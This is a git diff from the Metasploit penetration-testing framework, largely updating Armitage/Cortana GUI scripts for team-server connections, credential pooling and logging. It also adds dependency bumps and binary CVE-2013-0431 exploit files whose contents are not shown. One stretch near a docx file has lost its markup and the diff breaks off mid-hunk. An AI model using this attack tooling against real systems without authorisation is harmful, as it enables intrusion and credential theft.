diff --git a/.simplecov b/.simplecov
new file mode 100644
index 0000000000..e8c1b367cf
--- /dev/null
+++ b/.simplecov
@@ -0,0 +1,58 @@
+# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
+# controlled by running with coverage, so don't explicitly start coverage (and
+# therefore generate a report) when in Rubymine. This _will_ generate a report
+# whenever `rake spec` is run.
+unless ENV['RM_INFO']
+ SimpleCov.start
+end
+
+SimpleCov.configure do
+ # ignore this file
+ add_filter '.simplecov'
+
+ #
+ # Changed Files in Git Group
+ # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
+ #
+
+ untracked = `git ls-files --exclude-standard --others`
+ unstaged = `git diff --name-only`
+ staged = `git diff --name-only --cached`
+ all = untracked + unstaged + staged
+ changed_filenames = all.split("\n")
+
+ add_group 'Changed' do |source_file|
+ changed_filenames.detect { |changed_filename|
+ source_file.filename.end_with?(changed_filename)
+ }
+ end
+
+ #
+ # Framework (msf) related groups
+ #
+
+ add_group 'Metasploit Framework', 'lib/msf'
+ add_group 'Metasploit Framework (Base)', 'lib/msf/base'
+ add_group 'Metasploit Framework (Core)', 'lib/msf/core'
+
+ #
+ # Other library groups
+ #
+
+ add_group 'Fastlib', 'lib/fastlib'
+ add_group 'Metasm', 'lib/metasm'
+ add_group 'PacketFu', 'lib/packetfu'
+ add_group 'Rex', 'lib/rex'
+ add_group 'RKelly', 'lib/rkelly'
+ add_group 'Ruby Mysql', 'lib/rbmysql'
+ add_group 'Ruby Postgres', 'lib/postgres'
+ add_group 'SNMP', 'lib/snmp'
+ add_group 'Zip', 'lib/zip'
+
+ #
+ # Specs are reported on to ensure that all examples are being run and all
+ # lets, befores, afters, etc are being used.
+ #
+
+ add_group 'Specs', 'spec'
+end
diff --git a/.travis.yml b/.travis.yml
index 6b74b25154..b091d3aaa6 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,4 +1,8 @@
language: ruby
+before_install:
+ - sudo apt-get update -qq
+ - sudo apt-get install -qq libpcap-dev
+
rvm:
#- '1.8.7'
- '1.9.3'
diff --git a/Gemfile b/Gemfile
index 52d2e44c51..251808c2a5 100755
--- a/Gemfile
+++ b/Gemfile
@@ -4,10 +4,20 @@ source 'http://rubygems.org'
gem 'activesupport', '>= 3.0.0'
# Needed for Msf::DbManager
gem 'activerecord'
+# Needed for some admin modules (scrutinizer_add_user.rb)
+gem 'json'
# Database models shared between framework and Pro.
-gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
+gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0'
+# Needed by msfgui and other rpc components
+gem 'msgpack'
+# Needed by anemone crawler
+gem 'nokogiri'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
+# Needed by anemone crawler
+gem 'robots'
+# For sniffer and raw socket modules
+gem 'pcaprub'
group :development do
# Markdown formatting for yard
diff --git a/Gemfile.lock b/Gemfile.lock
index 3f4ffb72e0..c16a1cca2f 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,10 +1,10 @@
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
- revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
- tag: 0.3.0
+ revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f
+ tag: 0.6.0
specs:
- metasploit_data_models (0.3.0)
- activerecord
+ metasploit_data_models (0.6.0)
+ activerecord (>= 3.2.10)
activesupport
pg
pry
@@ -12,31 +12,36 @@ GIT
GEM
remote: http://rubygems.org/
specs:
- activemodel (3.2.9)
- activesupport (= 3.2.9)
+ activemodel (3.2.12)
+ activesupport (= 3.2.12)
builder (~> 3.0.0)
- activerecord (3.2.9)
- activemodel (= 3.2.9)
- activesupport (= 3.2.9)
+ activerecord (3.2.12)
+ activemodel (= 3.2.12)
+ activesupport (= 3.2.12)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
- activesupport (3.2.9)
+ activesupport (3.2.12)
i18n (~> 0.6)
multi_json (~> 1.0)
arel (3.0.2)
builder (3.0.4)
- coderay (1.0.8)
+ coderay (1.0.9)
diff-lcs (1.1.3)
- i18n (0.6.1)
+ i18n (0.6.4)
+ json (1.7.7)
method_source (0.8.1)
+ msgpack (0.5.2)
multi_json (1.0.4)
+ nokogiri (1.5.6)
+ pcaprub (0.11.3)
pg (0.14.1)
- pry (0.9.10)
+ pry (0.9.12)
coderay (~> 1.0.5)
method_source (~> 0.8)
- slop (~> 3.3.1)
+ slop (~> 3.4)
rake (10.0.2)
redcarpet (2.2.2)
+ robots (0.10.1)
rspec (2.12.0)
rspec-core (~> 2.12.0)
rspec-expectations (~> 2.12.0)
@@ -49,8 +54,8 @@ GEM
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
- slop (3.3.3)
- tzinfo (0.3.35)
+ slop (3.4.3)
+ tzinfo (0.3.36)
yard (0.8.3)
PLATFORMS
@@ -59,10 +64,15 @@ PLATFORMS
DEPENDENCIES
activerecord
activesupport (>= 3.0.0)
+ json
metasploit_data_models!
+ msgpack
+ nokogiri
+ pcaprub
pg (>= 0.11)
rake
redcarpet
+ robots
rspec (>= 2.12)
simplecov (= 0.5.4)
yard
diff --git a/Rakefile b/Rakefile
index a365eedfb9..d32e9352cb 100644
--- a/Rakefile
+++ b/Rakefile
@@ -16,11 +16,16 @@ namespace :yard do
'-',
'COPYING',
'HACKING',
- 'THIRD-PARTY.md'
+ 'LICENSE',
+ 'CONTRIBUTING.md',
]
yard_options = [
# include documentation for protected methods for developers extending the code.
- '--protected'
+ '--protected',
+ # Don't bother with files meant to be examples
+ '--exclude', 'samples/',
+ '--exclude', '\.ut\.rb/',
+ '--exclude', '\.ts\.rb/',
]
YARD::Rake::YardocTask.new(:doc) do |t|
diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar
index 153f8f95c0..143b587e24 100755
Binary files a/data/armitage/armitage.jar and b/data/armitage/armitage.jar differ
diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar
index 94bebc6eac..8035ff663c 100644
Binary files a/data/armitage/cortana.jar and b/data/armitage/cortana.jar differ
diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt
index c1e03e579b..01a4364bfc 100755
--- a/data/armitage/whatsnew.txt
+++ b/data/armitage/whatsnew.txt
@@ -1,6 +1,58 @@
Armitage Changelog
==================
+6 Mar 13 (tested against msf ca43900a7)
+--------
+- Active console now gets higher priority when polling msf for output
+- Improved team server responsiveness in high latency situations by
+ creating additional connections to server to balance messages over
+- Preferences are now shared among each Armitage connection.
+
+6 Mar 13 (2000h)
+--------
+- Fixed issue with additional team server connections reporting wrong
+ application and receiving a summary rejection by the team server.
+
+Cortana Updates (for scripters)
+--------
+- Added a &publish, &query, &subscribe API to allow inter-script
+ communication across the team server.
+- Added &table_update to set the contents of a table tab without
+ disturbing the highlighted rows.
+- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
+ due to an error reported by meterpreter.
+- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
+- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
+ command 60s to execute. If it doesn't finish in that time, Cortana
+ will release the lock on the shell so the user can control it.
+ (ideally, this shouldn't happen... this is a safety mechanism)
+- Changed Meterpreter command timeout to 2m from 12s. This is because
+ https meterpreter might not checkin for up to 60s, if it's been
+ idle for a long time. This will make &m_cmd less likely to timeout
+
+12 Feb 13 (tested against msf 16438)
+---------
+- Fixed a corner case preventing the display of removed host labels
+ when connected to a team server.
+- Fixed RPC call cache corruption in team server mode. This bug could
+ lead to some exploits defaulting to a shell payload when meterpreter
+ was a possibility.
+- Slight optimization to some DB queries. I no longer pull unused
+ fields making the query marginally faster. Team server is more
+ efficient too as changes to unused fields won't force data (re)sync.
+- Hosts -> Clear Database now clears host labels too.
+- Added the ability to manage multiple team server instances through
+ Armitage. Go to Armitage -> New Connection to connect to another
+ server. A button bar will appear that allows you to switch active
+ Armitage connections.
+ - Credentials available across instances are pooled when using
+ the [host] -> Login menu and the credential helper.
+- Rewrote the event log management code in the team server
+- Added nickname tab completion to event log. I feel like I'm writing
+ an IRC client again.
+- Hosts -> Clear Database now asks you to confirm the action.
+- Hosts -> Import Hosts announces successful import to event log again.
+
23 Jan 13 (tested against msf 16351)
---------
- Added helpers to set EXE::Custom and EXE::Template options.
diff --git a/data/exploits/cve-2013-0431/B.class b/data/exploits/cve-2013-0431/B.class
new file mode 100755
index 0000000000..953d5408a7
Binary files /dev/null and b/data/exploits/cve-2013-0431/B.class differ
diff --git a/data/exploits/cve-2013-0431/Exploit.class b/data/exploits/cve-2013-0431/Exploit.class
new file mode 100755
index 0000000000..f76c43d3e1
Binary files /dev/null and b/data/exploits/cve-2013-0431/Exploit.class differ
diff --git a/data/exploits/cve-2013-0431/Exploit.ser b/data/exploits/cve-2013-0431/Exploit.ser
new file mode 100755
index 0000000000..e20823fe43
Binary files /dev/null and b/data/exploits/cve-2013-0431/Exploit.ser differ
diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml
new file mode 100644
index 0000000000..39a9cb897f
--- /dev/null
+++ b/data/exploits/docx/[Content_Types].xml
@@ -0,0 +1,2 @@
+
+
An attack management tool for Metasploit®
-
Release: 23 Jan 13
Developed by:
diff --git a/external/source/armitage/scripts-cortana/internal-ui.sl b/external/source/armitage/scripts-cortana/internal-ui.sl index 498646fe41..ae479f22f1 100644 --- a/external/source/armitage/scripts-cortana/internal-ui.sl +++ b/external/source/armitage/scripts-cortana/internal-ui.sl @@ -188,13 +188,24 @@ sub table_selected_single { # table_set($table, @rows) sub table_set { - local('$model $row'); - $model = [$1 getModel]; - [$model clear: size($2) * 2]; - foreach $row ($2) { - [$model addEntry: $row]; - } - [$model fireListeners]; + later(lambda({ + local('$model $row'); + $model = [$a getModel]; + [$model clear: size($b) * 2]; + foreach $row ($b) { + [$model addEntry: $row]; + } + [$model fireListeners]; + }, $a => $1, $b => $2)); +} + +# table_set($table, @rows) +sub table_update { + later(lambda({ + [$a markSelections]; + table_set($a, $b); + [$a restoreSelections]; + }, $a => $1, $b => $2)); } # table_sorter($table, index, &function); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index c83929a79c..a3081bf304 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,6 +9,9 @@ import msf.*; # setg("varname", "value") sub setg { + if ($1 eq "LHOST") { + call_async("armitage.set_ip", $2); + } cmd_safe("setg $1 $2"); } @@ -580,6 +583,39 @@ sub data_add { call("db.key_add", $1, $data); } +# +# a publish/query/subscribe API +# + +# publish("key", $object) +sub publish { + local('$data'); + $data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')]; + call_async("armitage.publish", $1, "$data $+ \n"); +} + +# query("key", "index") +sub query { + local('$r @r $result'); + $r = call("armitage.query", $1, $2)['data']; + if ($r ne "") { + foreach $result (split("\n", $r)) { + push(@r, unpack("o", [msf.Base64 decode: $result])[0]); + } + } + return @r; +} + +# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m") +sub subscribe { + on("heartbeat_ $+ $3", lambda({ + local('$result'); + foreach $result (query($key, $index)) { + fire_event_local($key, $result, $index); + } + }, $key => $1, $index => $2)); +} + # # Shell shock? # @@ -831,7 +867,7 @@ sub m_exec { }, \$command, \$channel, \$buffer)); } else { - # this is probably ok... + fire_event_local("exec_error", $1, $command, ["$3" trim]); } }, \$command)); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index fe2af9a9ec..2df5fcf2a4 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL'); sub describeHost { local('$desc'); @@ -164,14 +164,32 @@ sub _connectToMetasploit { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; + push(@POOL, $aclient); initConsolePool(); + $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { + [$progress setNote: "Connected: logging in"]; $client = c_client($1, $2); - setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; + + if ($mclient is $null) { + [$progress close]; + return; + } + else { + [$progress setNote: "Connected: authenticated"]; + } + + # create six additional connections to team server... for balancing consoles. + local('$x $cc'); + for ($x = 0; $x < 6; $x++) { + $cc = c_client($1, $2); + call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326); + push(@POOL, $cc); + } } $flag = $null; } @@ -319,28 +337,23 @@ sub postSetup { } sub main { - local('$console $panel $dir'); + local('$console $panel $dir $app'); - $frame = [new ArmitageApplication]; + $frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient]; [$frame setTitle: $TITLE]; - [$frame setSize: 800, 600]; - + [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; init_menus($frame); initLogSystem(); - [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$frame show]; - [$frame setExtendedState: [JFrame MAXIMIZED_BOTH]]; - # this window listener is dead-lock waiting to happen. That's why we're adding it in a # separate thread (Sleep threads don't share data/locks). fork({ - [$frame addWindowListener: { + [$__frame__ addWindowListener: { if ($0 eq "windowClosing" && $msfrpc_handle !is $null) { closef($msfrpc_handle); } }]; - }, \$msfrpc_handle, \$frame); + }, \$msfrpc_handle, \$__frame__); dispatchEvent({ if ($client !is $mclient) { @@ -371,7 +384,6 @@ sub checkDir { } } -setLookAndFeel(); checkDir(); if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) { diff --git a/external/source/armitage/scripts/collaborate.sl b/external/source/armitage/scripts/collaborate.sl index 4a2cc2959c..2f302c3837 100644 --- a/external/source/armitage/scripts/collaborate.sl +++ b/external/source/armitage/scripts/collaborate.sl @@ -23,6 +23,7 @@ sub createEventLogTab { $client = [$cortana getEventLog: $console]; [$client setEcho: $null]; [$console updatePrompt: "> "]; + [new EventLogTabCompletion: $console, $mclient]; } else { [$console updateProperties: $preferences]; @@ -63,6 +64,7 @@ sub c_client { # run this thing in its own thread to avoid really stupid deadlock situations local('$handle'); $handle = [[new SecureSocket: $1, int($2), &verify_server] client]; + push(@CLOSEME, $handle); return wait(fork({ local('$client'); $client = newInstance(^RpcConnection, lambda({ @@ -91,9 +93,11 @@ sub setup_collaboration { %r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326); if (%r["error"] eq "1") { showErrorAndQuit(%r["message"]); + return $null; } %r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326); + $DESCRIBE = "$nick $+ @ $+ $3"; return $mclient; } diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index 7f7f155f88..d5dae2412b 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -95,13 +95,13 @@ sub dispatchEvent { sub showError { dispatchEvent(lambda({ - [JOptionPane showMessageDialog: $frame, $message]; + [JOptionPane showMessageDialog: $__frame__, $message]; }, $message => $1)); } sub showErrorAndQuit { - [JOptionPane showMessageDialog: $frame, $1]; - [System exit: 0]; + [JOptionPane showMessageDialog: $__frame__, $1]; + [$__frame__ closeConnect]; } sub ask { @@ -155,7 +155,7 @@ sub chooseFile { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; } - [$fc showOpenDialog: $frame]; + [$fc showOpenDialog: $__frame__]; if ($multi) { return [$fc getSelectedFiles]; @@ -179,17 +179,18 @@ sub saveFile2 { [$fc setSelectedFile: [new java.io.File: $sel]]; } - [$fc showSaveDialog: $frame]; - $file = [$fc getSelectedFile]; - if ($file !is $null) { - return $file; + if ([$fc showSaveDialog: $__frame__] == 0) { + $file = [$fc getSelectedFile]; + if ($file !is $null) { + return $file; + } } } sub saveFile { local('$fc $file'); $fc = [new JFileChooser]; - [$fc showSaveDialog: $frame]; + [$fc showSaveDialog: $__frame__]; $file = [$fc getSelectedFile]; if ($file !is $null) { local('$ihandle $data $ohandle'); @@ -250,10 +251,10 @@ sub left { sub dialog { local('$dialog $4'); - $dialog = [new JDialog: $frame, $1]; + $dialog = [new JDialog: $__frame__, $1]; [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; return $dialog; } @@ -261,7 +262,15 @@ sub window { local('$dialog $4'); $dialog = [new JFrame: $1]; [$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]]; + + fork({ + [$dialog addWindowListener: { + if ($0 eq "windowClosing") { + [$__frame__ closeConnect]; + } + }]; + }, \$__frame__, \$dialog); + [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; return $dialog; @@ -277,12 +286,14 @@ sub overlay_images { return %cache[join(';', $1)]; } - local('$file $image $buffered $graphics'); + local('$file $image $buffered $graphics $resource'); $buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]]; $graphics = [$buffered createGraphics]; foreach $file ($1) { - $image = [ImageIO read: resource($file)]; + $resource = resource($file); + $image = [ImageIO read: $resource]; + closef($resource); [$graphics drawImage: $image, 0, 0, 1000, 776, $null]; } @@ -371,15 +382,6 @@ sub wrapComponent { return $panel; } -sub setLookAndFeel { - local('$laf'); - foreach $laf ([UIManager getInstalledLookAndFeels]) { - if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) { - [UIManager setLookAndFeel: [$laf getClassName]]; - } - } -} - sub thread { local('$thread'); $thread = [new ArmitageThread: $1]; @@ -467,6 +469,13 @@ sub quickListDialog { [$dialog setVisible: 1]; } +sub setTableColumnWidths { + local('$col $width $temp'); + foreach $col => $width ($2) { + [[$1 getColumn: $col] setPreferredWidth: $width]; + } +} + sub tableRenderer { return [ATable getDefaultTableRenderer: $1, $2]; } diff --git a/external/source/armitage/scripts/hosts.sl b/external/source/armitage/scripts/hosts.sl index 448bdb8fc7..7674154585 100644 --- a/external/source/armitage/scripts/hosts.sl +++ b/external/source/armitage/scripts/hosts.sl @@ -8,10 +8,10 @@ import java.awt.event.*; sub addHostDialog { local('$dialog $label $text $finish $button'); - $dialog = [new JDialog: $frame, "Add Hosts", 0]; + $dialog = [new JDialog: $__frame__, "Add Hosts", 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; $label = [new JLabel: "Enter one host/line:"]; $text = [new JTextArea]; diff --git a/external/source/armitage/scripts/log.sl b/external/source/armitage/scripts/log.sl index 6916a2d78f..e1d6c09800 100644 --- a/external/source/armitage/scripts/log.sl +++ b/external/source/armitage/scripts/log.sl @@ -15,8 +15,8 @@ sub logNow { if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") { local('$today $stream'); $today = formatDate("yyMMdd"); - mkdir(getFileProper(dataDirectory(), $today, $2)); - $stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + $stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ]; [$stream println: $3]; } } @@ -26,8 +26,8 @@ sub logCheck { local('$today'); $today = formatDate("yyMMdd"); if ($2 ne "") { - mkdir(getFileProper(dataDirectory(), $today, $2)); - [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]]; } } } @@ -38,7 +38,7 @@ sub logFile { local('$today $handle $data $out'); $today = formatDate("yyMMdd"); if (-exists $1 && -canread $1) { - mkdir(getFileProper(dataDirectory(), $today, $2, $3)); + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3)); # read in the file $handle = openf($1); @@ -46,7 +46,7 @@ sub logFile { closef($handle); # write it out. - $out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1)); + $out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1)); $handle = openf("> $+ $out"); writeb($handle, $data); closef($handle); @@ -70,7 +70,7 @@ sub initLogSystem { logFile([$file getAbsolutePath], "screenshots", "."); deleteFile([$file getAbsolutePath]); - showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots"); + showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots"); }, \$image, \$title)); }]; } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 59cd3c5143..011e0d72ed 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -119,10 +119,13 @@ sub view_items { sub armitage_items { local('$m'); - item($1, 'Preferences', 'P', &createPreferencesTab); - + item($1, 'New Connection', 'N', { + [new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null]; + }); separator($1); + item($1, 'Preferences', 'P', &createPreferencesTab); + dynmenu($1, 'Set Target View', 'S', { local('$t1 $t2'); if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") { @@ -183,12 +186,13 @@ sub armitage_items { separator($1); - item($1, 'Exit', 'x', { + item($1, 'Close', 'C', { if ($msfrpc_handle !is $null) { closef($msfrpc_handle); } - [System exit: 0]; + map({ closef($1); }, @CLOSEME); + [$__frame__ quit]; }); } @@ -246,7 +250,7 @@ sub help_items { [$dialog add: $label, [BorderLayout CENTER]]; [$dialog pack]; - [$dialog setLocationRelativeTo: $null]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setVisible: 1]; }); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index ad9f68ce6a..c5eaf94ffb 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -58,12 +58,38 @@ import ui.*; sub refreshCredsTable { thread(lambda({ [Thread yield]; - local('$creds $cred'); + local('$creds $cred $desc $aclient %check $key'); [$model clear: 128]; - $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $desc => $aclient (convertAll([$__frame__ getClients])) { + $creds = call($aclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + [$model addEntry: $cred]; + %check[$key] = 1; + } + } + } + [$model fireListeners]; + }, $model => $1, $title => $2)); +} + +sub refreshCredsTableLocal { + thread(lambda({ + [Thread yield]; + local('$creds $cred $desc $aclient %check $key'); + [$model clear: 128]; + $creds = call($client, "db.creds2", [new HashMap])["creds2"]; foreach $cred ($creds) { - if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { [$model addEntry: $cred]; + %check[$key] = 1; } } [$model fireListeners]; @@ -71,7 +97,7 @@ sub refreshCredsTable { } sub show_hashes { - local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll'); + local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3'); $dialog = dialog($1, 480, $2); @@ -83,7 +109,12 @@ sub show_hashes { [$sorter setComparator: 2, &compareHosts]; [$table setRowSorter: $sorter]; - refreshCredsTable($model, $1); + if ($3) { + refreshCredsTableLocal($model, $1); + } + else { + refreshCredsTable($model, $1); + } $scroll = [new JScrollPane: $table]; [$scroll setPreferredSize: [new Dimension: 480, 130]]; @@ -94,7 +125,7 @@ sub show_hashes { sub createCredentialsTab { local('$dialog $table $model $panel $export $crack $refresh'); - ($dialog, $table, $model) = show_hashes("", 320); + ($dialog, $table, $model) = show_hashes("", 320, 1); [$dialog removeAll]; addMouseListener($table, lambda({ @@ -131,7 +162,7 @@ sub createCredentialsTab { $refresh = [new JButton: "Refresh"]; [$refresh addActionListener: lambda({ - refreshCredsTable($model, $null); + refreshCredsTableLocal($model, $null); }, \$model)]; $crack = [new JButton: "Crack Passwords"]; diff --git a/external/source/armitage/scripts/pivots.sl b/external/source/armitage/scripts/pivots.sl index 3a5e117f4a..3adbfe450b 100644 --- a/external/source/armitage/scripts/pivots.sl +++ b/external/source/armitage/scripts/pivots.sl @@ -107,10 +107,10 @@ sub pivot_dialog { } local('$dialog $model $table $sorter $center $a $route $button'); - $dialog = [new JDialog: $frame, $title, 0]; + $dialog = [new JDialog: $__frame__, $title, 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setLayout: [new BorderLayout]]; diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index 19ad929524..ec418f2c19 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -57,12 +57,21 @@ sub parseYaml { sub loadPreferences { local('$file $prefs'); $file = getFileProper(systemProperties()["user.home"], ".armitage.prop"); - $prefs = [new Properties]; - if (-exists $file) { - [$prefs load: [new java.io.FileInputStream: $file]]; + if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) { + $prefs = [$__frame__ getPreferences]; } else { - [$prefs load: resource("resources/armitage.prop")]; + $prefs = [new Properties]; + if (-exists $file) { + [$prefs load: [new java.io.FileInputStream: $file]]; + } + else { + [$prefs load: resource("resources/armitage.prop")]; + } + + if ($__frame__ !is $null) { + [$__frame__ setPreferences: $prefs]; + } } # parse command line options here. diff --git a/external/source/armitage/scripts/reporting.sl b/external/source/armitage/scripts/reporting.sl index a6a7ac5dfb..1995e0686e 100644 --- a/external/source/armitage/scripts/reporting.sl +++ b/external/source/armitage/scripts/reporting.sl @@ -182,28 +182,21 @@ sub queryData { [$progress setProgress: 30]; } - # 4. clients - %r['clients'] = call($mclient, "db.clients")["clients"]; - - if ($progress) { - [$progress setProgress: 35]; - } - - # 5. sessions... + # 4. sessions... %r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]); if ($progress) { [$progress setProgress: 36]; } - # 6. timeline + # 5. timeline %r['timeline'] = fixTimeline(call($mclient, "db.events")['events']); if ($progress) { [$progress setProgress: 38]; } - # 7. hosts and services + # 6. hosts and services local('@hosts @services $temp $h $s $x'); call($mclient, "armitage.prep_export", $1); @@ -291,32 +284,27 @@ sub _generateArtifacts { [$progress setProgress: 65]; - # 4. clients - dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']); - - [$progress setProgress: 70]; - - # 5. hosts + # 4. hosts dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']); [$progress setProgress: 80]; - # 6. services + # 5. services dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']); [$progress setProgress: 90]; - # 7. sessions + # 6. sessions dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']); [$progress setProgress: 93]; - # 8. timeline + # 7. timeline dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']); [$progress setProgress: 96]; - # 9. take a pretty screenshot of the graph view... + # 8. take a pretty screenshot of the graph view... [$progress setNote: "host picture :)"]; makeScreenshot("hosts.png"); @@ -330,7 +318,7 @@ sub _generateArtifacts { fire_event_async("user_export", %data); - return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts"); + return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts"); } # @@ -368,8 +356,6 @@ sub api_export_data { } sub initReporting { - global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage - wait(fork({ global('$db'); [$client addHook: "armitage.export_data", &api_export_data]; diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 1ea04e9671..4dcf4cd84d 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -35,9 +35,7 @@ sub result { sub event { local('$result'); $result = formatDate("HH:mm:ss") . " $1"; - acquire($poll_lock); - push(@events, $result); - release($poll_lock); + [$events put: $result]; } sub client { @@ -96,16 +94,6 @@ sub client { [[$handle getOutputStream] flush]; } - # limit our replay of the event log to 100 events... - acquire($poll_lock); - if (size(@events) > 100) { - $index = size(@events) - 100; - } - else { - $index = 0; - } - release($poll_lock); - # # on our merry way processing it... # @@ -183,33 +171,30 @@ sub client { else if ($method eq "armitage.log") { ($data, $address) = $args; event("* $eid $data $+ \n"); + if ($address is $null) { + $address = [$client getLocalAddress]; + } call_async($client, "db.log_event", "$address $+ // $+ $eid", $data); writeObject($handle, result(%())); } else if ($method eq "armitage.skip") { - acquire($poll_lock); - $index = size(@events); - release($poll_lock); + [$events get: $eid]; writeObject($handle, result(%())); 